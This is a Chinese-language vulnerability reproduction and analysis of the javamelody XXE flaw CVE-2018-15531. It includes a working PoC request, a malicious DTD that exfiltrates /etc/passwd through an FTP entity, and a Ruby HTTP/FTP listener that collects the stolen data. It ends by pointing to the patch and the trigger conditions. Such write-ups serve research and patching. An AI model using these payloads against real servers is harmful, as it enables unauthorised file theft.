javamelody XXE(CVE-2018-15531) 復現分析
javaMelody是Spring Boot框架可用的一個監視伺服器執行資訊的外掛,這個外掛去年爆出了一個XXE的漏洞。這篇文章便分析一下這個漏洞。
漏洞復現
環境搭建
這裡我使用了Idea來搭建spring boot的環境,建立好spring boot專案後在 pom.xml
的 dependencies
中加入
<dependency> <groupId>net.bull.javamelody</groupId> <artifactId>javamelody-spring-boot-starter</artifactId> <version>1.73.1</version> </dependency>
之後啟動程式,訪問 127.0.0.1:8080/monitoring
便可以驗證是否載入成功外掛。
漏洞復現
漏洞復現使用的poc為:
POST / HTTP/1.1 Host: localhost:8080 Content-type: text/xml SOAPAction: aaaaa Content-Length: 154 <?xml version="1.0" encoding="UTF-8" standalone="no" ?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://127.0.0.1:5678/ev.dtd"> %remote; ]> </root>
在本地起一個監聽5678埠的http服務,這裡我用的是php
可以看到發包後可以收到http請求,因此存在XXE漏洞。
為了完成盲打讀取檔案的功能,ev.dtd的內容如下:
<!ENTITY % payload SYSTEM"file:///etc/passwd"> <!ENTITY % int "<!ENTITYtrick SYSTEM 'ftp://127.0.0.1:2121/%payload;'>"> %int; %trick;
使用如下的ruby指令碼可以建立一個用於獲取ftp請求的ftp伺服器:
require 'socket' ftp_server = TCPServer.new 2121 http_server = TCPServer.new 8088 log = File.open( "xxe-ftp.log", "a") payload = '<!ENTITY % asd SYSTEM "file:///etc/passwd">' Thread.start do loop do Thread.start(http_server.accept) do |http_client| puts "HTTP. New client connected" loop { req = http_client.gets() break if req.nil? if req.start_with? "GET" http_client.puts("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}") end puts req } puts "HTTP. Connection closed" end end end Thread.start do loop do Thread.start(ftp_server.accept) do |ftp_client| puts "FTP. New client connected" ftp_client.puts("220 xxe-ftp-server") loop { req = ftp_client.gets() break if req.nil? puts "< "+req log.write "get req: #{req.inspect}\n" if req.include? "LIST" ftp_client.puts("drwxrwxrwx 1 owner group1 Feb 21 04:37 test") ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls") ftp_client.puts("226 Transfer complete.") elsif req.include? "USER" ftp_client.puts("331 password please - version check") elsif req.include? "PORT" puts "! PORT received" puts "> 200 PORT command ok" ftp_client.puts("200 PORT command ok") else puts "> 230 more data please!" ftp_client.puts("230 more data please!") end } puts "FTP. Connection closed" end end end loop do sleep(10000) end
執行指令碼,Burp重新發包即可獲取本地檔案。
原理分析
根據大佬們的分析流程,直接檢視之後的版本的patch可以定位導致漏洞出現的地方:
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到官方的修復中直接禁用了XML中引用外部實體。我們跟進目的碼附近
可以看到這段程式碼是一個典型的XXE的漏洞程式碼。全域性查詢使用了 parseSoapMethodName
的地方
跟進 initialize
方法
可以看到漏洞利用方法構造的要素:
- POST方法
- Content-type:為
application/soap+xml
或者Content-type為text/xml
且存在SOAPAction
請求頭